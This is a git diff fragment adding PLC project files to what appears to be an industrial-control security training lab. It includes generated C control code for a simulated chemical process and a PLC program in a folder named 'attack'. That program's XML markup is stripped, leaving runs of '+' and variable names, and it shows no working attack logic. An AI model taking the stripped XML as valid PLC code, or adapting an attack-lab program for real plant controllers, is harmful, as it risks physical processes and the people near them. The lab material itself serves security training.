PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + 